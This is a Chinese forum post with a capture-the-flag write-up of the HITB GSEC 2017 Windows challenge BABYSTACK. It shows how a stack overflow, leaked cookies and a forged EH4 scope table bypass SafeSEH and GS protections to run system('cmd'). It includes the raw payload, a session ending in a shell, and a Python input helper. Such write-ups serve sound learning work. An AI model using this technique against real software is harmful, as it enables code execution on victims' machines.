看雪论坛
发新帖

[原创]HITB GSEC WIN PWN BABYSTACK 分析

污师 2017-9-8 10:37 940

HITB GSEC WIN PWN BABYSTACK 分析

在微博看到 k0shl 师傅说 HITB GSEC 的两道 WIN PWN 题 BABYSHELLCODE 和 BABYSTACK 不错, 就下载下来自己学习分析了下, 分析完后感觉对学习利用 SEH 很有帮助, 学到不少, 这里发下自己分析 BABYSTACK 的流程总结. 菜鸡一个, 刚开始学习漏洞分析, 错误之处还请各位师傅不吝赐教.

 

k0shl 师傅关于两道题的分析: https://whereisk0shl.top/post/hitb_gsec_ctf_babystack_writeup

 

附件会把两道题上传, 有兴趣的可以看看.

 

分析

用 IDA 打开程序, 找到 main 函数, 开始分析. 通过分析, 可以知道整个程序比较简单, 基本实现都在 main 函数中了, 其大概代码如下:

 
void main()
{
    char buff[128];
    int v1 = 1;
    int v2 = 1;

    __try
    {
        puts("ouch! Do not kill me , I will tell you everything");
        printf("stack address = 0x%x\n", buff);
        printf("main address = 0x%x\n", main);
        for ( count = 0; count < 10; ++count )
        {
            puts("Do you want to know more?");
            GetInput((int)buff, 10);
            if (0 == strcmp(buff, "yes"))
            {
                puts("Where do you want to know");
                targetAddress = (_DWORD *)GetTargetAddress();
                printf("Address 0x%x value is 0x%x\n", targetAddress, *targetAddress);
            }
            else
            {
                if (0 == strcmp(buff, "no"))
                    break;
                GetInput(buff, 256);
            }
        }
    }
    __except (FilterFunction)
    {
        puts("you kill me just because you ask a wrong question??!!");
        exit(0);
    }

    puts("I can tell you everything, but I never believe 1+1=2");
    if (3 == (v1 + v2))
        system("cmd");
    puts("AAAA, you kill me just because I don't think 1+1=2??");

    exit(0);
}

首先程序程序会输出 main 函数的地址和 buff 的地址, 这样我们就不用考虑 ASLR 和 栈地址随机的问题了. 然后有个循环, 次数为 10 次. 当输入 yes 时, 会调用 GetTargetAddress 函数, 这个函数把输入的一个十进制数字符串通过 atoi 函数转换成整数并返回, 返回后把该整数当作地址并读取该地址的值输出显示. 通过这里, 我们可以知道一些地址里的值.

 

当输入 no 时, 会跳出循环, 进而执行到下面的 if 处, 这里的 v1 和 v2 被初始化为 1 后就再也没修改过, 所以这里是不会进入 if 的, 不过这里可以看到有个 system("cmd"). 然后程序就退出了.

 

当输入的不是 yes 也不是 no 时, 会再次要求输入, 这次的输入长度为 256, 但 buff 只有 128 字节, 这里会发生缓冲区溢出. 看代码可以知道, 这里有个 SEH, 首先会想到用 system("cmd") 的地址通过缓冲区溢出覆盖 SEH 的 Handler, 然后通过在 GetTargetAddress 输入一个大数, 导致其访问无效内存引发异常, 进而执行 Handler. 但是这里是行不通的, 因为 BABYSTACK 是开启了 SafeSEH 的, 根据其原理(详见附 A)可知, 当我们用 systme("cmd") 的地址覆盖 Handler 后, 在检查时, 因为地址是在主程序映像范围, 主程序又开了 SafeSEH, 会有 SafeSEH Table, 而 systme("cmd") 的地址肯定不在表中, 必定是要失败的, 开始想其它方法. 这里想到 k0shl 师傅在微博有说到这题要分析 _except_handler4, 那就开始分析看看.

 

在 main 开头, 可以看到构造的 SEH

 
012110b0 55              push    ebp
012110b1 8bec            mov     ebp,esp
012110b3 6afe            push    0FFFFFFFEh     ; TryLevel
012110b5 6888362101      push    offset babystack+0x3688 (01213688) ; ScopeTable
012110ba 6860142101      push    offset babystack+0x1460 (01211460) ; _except_handler4
012110bf 64a100000000    mov     eax,dword ptr fs:[00000000h]
012110c5 50              push    eax                        ; Next
012110c6 81c440ffffff    add     esp,0FFFFFF40h
012110cc a104402101      mov     eax,dword ptr [babystack+0x4004 (01214004)]
012110d1 3145f8          xor     dword ptr [ebp-8],eax      ; 用 cookie 异或 scope table
012110d4 33c5            xor     eax,ebp
012110d6 8945e4          mov     dword ptr [ebp-1Ch],eax    ; 保存 GS
012110d9 53              push    ebx
012110da 56              push    esi
012110db 57              push    edi
012110dc 50              push    eax        ; ValidateLocalCookies 检查的 EH
012110dd 8d45f0          lea     eax,[ebp-10h]
012110e0 64a300000000    mov     dword ptr fs:[00000000h],eax
012110e6 8965e8          mov     dword ptr [ebp-18h],esp

VC 的 SEH 布局大致如下(参考: SEH 机制探索)

 
                                                   Scope Table
                                              +-------------------+
                                              |  GSCookieOffset   |
                                              +-------------------+
                                              | GSCookieXorOffset |
                                              +-------------------+
                EH4 Stack                     |  EHCookieOffset   |
          +-------------------+               +-------------------+
High      |      ......       |               | EHCookieXorOffset |
          +-------------------+               +-------------------+
ebp       |        ebp        |   +----------->  EncloseingLevel  <--+-> 0xFFFFFFFE
          +-------------------+   | Level 0   +-------------------+  |
ebp - 04h |     TryLevel      +---+           |     FilterFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 08h |    Scope Table    |   |           |    HandlerFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 0Ch | ExceptionHandler  |   +----------->  EncloseingLevel  +--+-> 0x00000000
          +-------------------+     Level 1   +-------------------+
ebp - 10h |       Next        |               |     FilterFunc    |
          +-------------------+               +-------------------+
ebp - 14h | ExceptionPointers +----+          |    HandlerFunc    |
          +-------------------+    |          +-------------------+
ebp - 18h |        esp        |    |
          +-------------------+    |            ExceptionPointers
Low       |      ......       |    |          +-------------------+
          +-------------------+    +---------->  ExceptionRecord  |
                                              +-------------------+
                                              |   ContextRecord   |
                                              +-------------------+

这里的 Handler 函数就是 _except_handler4, 里面只是添加 CookieCheckFunc 和 SecurityCookie 两个参数, 然后调用了 VCRUNTIME140!_except_handler4_common. 下面是 VCRUNTIME140!_except_handler4_common(Sanos 实现的 _except_handler3 的代码也可以参考其整体流程except.c) 的伪码:

 
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3

    if ( scopeTable->GSCookieOffset != -2 )
    {
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
    // 异或解密 scope table
    scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

    // sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
    framePointer = (char *)(sehFrame + 16);
    scopeTable = scopeTable_1;

    // 验证 GS
    ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
    __except_validate_context_record(context);

    if ( exceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = exceptionRecord;
        exceptionPointers.ContextRecord = context;
        tryLevel = *(_DWORD *)(sehFrame + 12);
        *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
        if ( tryLevel != -2 )
        {
            while ( 1 )
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
                scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
                encloseingLevel = scopeTableRecord->EnclosingLevel;
                scopeTableRecord_1 = scopeTableRecord;
                if ( filterFunc )
                {
                    // 调用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc);
                    ......
                    if ( filterFuncRet > 0 )
                    {
                        ......
                        // 调用 HandlerFunc
                        _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
                        ......
                    }
                }
                ......
                tryLevel = encloseingLevel;
                if ( encloseingLevel == -2 )
                    break;
                scopeTable_1 = scopeTable;
            }
            ......
        }
    }
  ......
}

可以看到, 里面有两个地方, 一个地方调用了 scope table 里的 FilterFunc 函数, 一个地方调用了 HandlerFunc 函数. scope table 是被放在 SEH Handler 后面的, 这里我们可以伪造一个 scope table, 把里面的 FilterFunc 或者 HandlerFunc 函数改为 system("cmd'") 的地址, 然后把这个伪造的 scope table 通过溢出覆盖掉原 scope table.

 

接下来是 shellcode 的布局, buff 离 SEH 的位置有 0x8C 字节, 布局如下

 
aaaa[原 scope table 前 20 字节][Filterfunc][HandlerFunc][96 字节填充][GS]aaaaaaaa[SEH Next 成员][SEH Handler 成员][伪造 scope table 地址]

上面之所以要留出 4 字节, 是因为在溢出了缓冲区之后, 再次输入 yes 引发异常时, 会用到该缓冲区, yes 会覆盖前 4 字节.

 

FilterFunc 填写 system("cmd") 的地址, 这里可以通过输出的 main 地址减去 main 函数的偏移算出 base, 然后加上 system 处的偏移就行. 因为这里利用的是 FilterFunc 函数, 所以 HandlerFunc 可以随意, 如果要用 HandlerFunc, 需要通过上面泄露信息的地方泄露处原 FilterFunc.

 

缓冲区的位置是 ebp - 9c, 而 GS 的位置在 ebp - 1c 处, 会被覆盖掉, 但是在 _except_handler4_common 中的 ValidateLocalCookies 会验证此处的值, 所以也要泄露出 GS, GS 的位置在 stack + 0x80 的位置.

 

接下来是 SEH 的 Next, 因为之前分析过 BABYSHELLCODE, 知道 Win10 下会多检查 SEH Chain(详见附 A), 所以也要泄露出 SEH 的 Next, 位置在 stack + 0x8c. 因为要利用 _except_handler4_common, Handler 还需要是 _except_handler4, 地址是 base + 函数的偏移.

 

最后就是伪造的 scope table 的地址了, 这里是 stack + 4, 不过需要和 Security Cookie 经过异或, Security Cookie 的值可以通过 base 加上偏移泄露出来, 然后和 stack + 4 的值异或一下就可以了. 下面是在 Win10 1703 x86 下的测试输出(这里因为是在命令行下, 地址是不可打印字符没法输入, 写了个辅助输入的脚本, 见附 B)

 
Python 3.6.2 (v3.6.2:5fd33b5, Jul  8 2017, 04:14:34) [MSC v.1900 32 bit (Intel)] on win32
Type "copyright", "credits" or "license()" for more information.
>>> 
=========== RESTART: C:\Users\WIN10\Desktop\BABYSTACK\babystack.py ===========
ouch! Do not kill me , I will tell you everything
stack address = 0x2aff750
main address = 0x3110b0
Do you want to know more?

>> yes
Where do you want to know

// 泄露 Security Cookie
>> 3227652
Address 0x314004 value is 0x6161ff40
Do you want to know more?

>> yes
Where do you want to know

// 泄露 GS, 这个值也可以通过 (stack + 9c) ^ Security Cookie 得到
>> 45086672
Address 0x2aff7d0 value is 0x63ce08ac
Do you want to know more?

>> yes
Where do you want to know

// 泄露 SEH 的 Next
>> 45086684
Address 0x2aff7dc value is 0x2aff824
Do you want to know more?

>> noo

>> b"aaaa\xe4\xff\xff\xff\x00\x00\x00\x00\x20\xff\xff\xff\x00\x00\x00\x00\xfe\xff\xff\xff\x8d\x13\x31\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xac\x08\xce\x63aaaaaaaa\x24\xf8\xaf\x02\x60\x14\x31\x00\x14\x08\xce\x63"
Do you want to know more?

>> yes
Where do you want to know

// 访问无效内存引发异常
>> 80000000
Microsoft Windows [版本 10.0.15063]
(c) 2017 Microsoft Corporation。保留所有权利。

C:\Users\WIN10\Desktop\BABYSTACK>
>> dir
dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 5CC8-3C05

 C:\Users\WIN10\Desktop\BABYSTACK 的目录

2017/09/07  10:32    <DIR>          .
2017/09/07  10:32    <DIR>          ..
2017/09/07  16:34               510 1.txt
2017/07/24  14:16            10,752 babystack.exe
2017/09/07  16:32               883 babystack.py
2017/09/07  16:40                 0 fout.txt
2017/08/22  10:56           918,304 ucrtbase.dll
2017/02/08  14:09            83,792 vcruntime140.dll
               6 个文件      1,014,241 字节
               2 个目录 55,104,540,672 可用字节

C:\Users\WIN10\Desktop\BABYSTACK>
>>

附 A

SafeSEH

参考1: SafeSEH原理及绕过技术浅析

 

参考2: SEH和SafeSEH

 

当异常发生时,异常处理过程 RtlDispatchException 首先检查异常处理节点是否在栈上, 如果不在栈上程序将终止异常处理, 其次检查异常处理 Handler 是否在栈上, 如果在栈上程序将止异常处理. 最后检测调用 RtlIsValidHandler 检测 Handler 有效性

 
BOOL RtlIsValidHandler(handler)
{
    if (handler is in an image) // step 1 
    {
        // 在加载模块的进程空间
        if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
            return FALSE; // 该标志设置,忽略异常处理,直接返回FALSE

        if (image has a SafeSEH table) // 是否含有SEH表
            if (handler found in the table)
                return TRUE; // 异常处理handle在表中,返回TRUE
            else
                return FALSE; // 异常处理handle不在表中,返回FALSE

        if (image is a .NET assembly with the ILonly flag set)
            return FALSE; // .NET 返回FALSE
        // fall through
    }

    if (handler is on a non-executable page) // step 2
    {
             // handle在不可执行页上面
        if (ExecuteDispatchEnable bit set in the process flags)
            return TRUE; // DEP关闭,返回TRUE;否则抛出异常
        else
            raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX
    }

    if (handler is not in an image) // step 3
    {
             // 在加载模块内存之外,并且是可执行页
        if (ImageDispatchEnable bit set in the process flags)
            return TRUE; // 允许在加载模块内存空间外执行,返回验证成功
        else
            return FALSE; // don't allow handlers outside of images
    }

    // everything else is allowed
    return TRUE;
}

上面伪码里的 ExecuteDispatchEnable 和 ImageDispatchEnable 标志用来控制 Handler 在不可执行内存或者不在异常模块的映像内时, 是否可以执行. 默认情况下, 如果进程 DEP 开启, 两位为 0, DEP 关闭, 两位为 1.

 

Win10

Win10 在检查 SEH 时, 还会检查 SEH 链, 也就是说, 我们覆盖后的 Next 需要指向一个正常的 SEH, 保证 SEH 链的正常.

 
ntdll!RtlDispatchException+0x86:
77e3ff36 8d542428        lea     edx,[esp+28h]
77e3ff3a 8d4c2420        lea     ecx,[esp+20h]
77e3ff3e e8ce040000      call    ntdll!RtlpGetStackLimits (77e40411)
77e3ff43 648b3500000000  mov     esi,dword ptr fs:[0]
...
77e3ff75 8b7c2420        mov     edi,dword ptr [esp+20h]
77e3ff79 8b5c2428        mov     ebx,dword ptr [esp+28h]
...
77e3ff7f 8d53f8          lea     edx,[ebx-8]    ; edx = StackBase - 8
77e3ff82 8bc6            mov     eax,esi        ; eax = SEH 的地址
77e3ff84 89542430        mov     dword ptr [esp+30h],edx
77e3ff88 8bcf            mov     ecx,edi        ; ecx = StackLimit
77e3ff8a 83feff          cmp     esi,0FFFFFFFFh
77e3ff8d 743f            je      ntdll!RtlDispatchException+0x11e (77e3ffce)
77e3ff8f 90              nop
77e3ff90 3bc8            cmp     ecx,eax        ; SEH 的地址低于 StackLimit 跳走
77e3ff92 0f8771380700    ja      ntdll!RtlDispatchException+0x73959 (77eb3809)
77e3ff98 3bc2            cmp     eax,edx        ; SEH 的地址高于 StackBase - 8 跳走
77e3ff9a 0f8369380700    jae     ntdll!RtlDispatchException+0x73959 (77eb3809)
77e3ffa0 a803            test    al,3           ; SEH 的地址不是 4 字节对齐跳走
77e3ffa2 0f8561380700    jne     ntdll!RtlDispatchException+0x73959 (77eb3809)
77e3ffa8 8b5004          mov     edx,dword ptr [eax+4]  ; edx = handler
77e3ffab 3bd3            cmp     edx,ebx        ; handler 地址低于 StackBase - 8 跳走
77e3ffad 0f821d010000    jb      ntdll!RtlDispatchException+0x220 (77e400d0)
77e3ffb3 8b30            mov     esi,dword ptr [eax]    ; esi 等于 Next, 也就是上一个 SEH 的地址
77e3ffb5 83feff          cmp     esi,0FFFFFFFFh ; Next 是否 0xffffffff
77e3ffb8 0f84cc000000    je      ntdll!RtlDispatchException+0x1da (77e4008a)
77e3ffbe 8d4808          lea     ecx,[eax+8]    ; ecx = SEH 的地址加 8
77e3ffc1 8bc6            mov     eax,esi
77e3ffc3 83f8ff          cmp     eax,0FFFFFFFFh
77e3ffc6 7406            je      ntdll!RtlDispatchException+0x11e (77e3ffce)
77e3ffc8 8b542430        mov     edx,dword ptr [esp+30h]    ; edx = StackBase - 8
77e3ffcc ebc2            jmp     ntdll!RtlDispatchException+0xe0 (77e3ff90)
...
77e4008a 
...
77e4009f 3b15ac75f177    cmp     edx,dword ptr [ntdll!RtlpFinalExceptionHandler (77f175ac)] ds:0023:77f175ac={ntdll!FinalExceptionHandlerPad19 (77ea62b3)}
77e400a5 0f8556370700    jne     ntdll!RtlDispatchException+0x73951 (77eb3801)

附 B

import subprocess
import time
import os
import ast

def InputCmd(stdin, cmd):
    stdin.write(cmd)
    stdin.flush()

def OutputCmd(stdout):
    // 如果没有输出, 调整睡眠时间
    time.sleep(0.1)
    print(stdout.read().decode("gbk", 'ignore'))

def main():
    fileOut = open("fout.txt", "wb")
    readFileOut = open("fout.txt", "rb")

    prog = subprocess.Popen("babystack.exe", stdin = subprocess.PIPE,
                            stdout = fileOut)
    while True:
        OutputCmd(readFileOut)
        cmd = input(">> ")
        if "EXIT" == cmd:
            break
        if 'b' == cmd[0] and ('"' == cmd[1] or "'" == cmd[1]):
            cmd = ast.literal_eval(cmd) + b'\n'
        else:
            cmd = cmd.encode("utf-8") + b'\n'
        InputCmd(prog.stdin, cmd)

    prog.terminate()
    readFileOut.close()
    fileOut.close()
    os.remove("fout.txt")

if "__main__" == __name__:
    main()
上传的附件:
本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (2)
qqsunqiang 2017-9-8 15:08
2
谢谢楼主的分享。
tangsilian 2017-9-8 18:44
3
赞分享
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 微信公众号:ikanxue
Time: 0.013, SQL: 10 / 京ICP备10040895号-17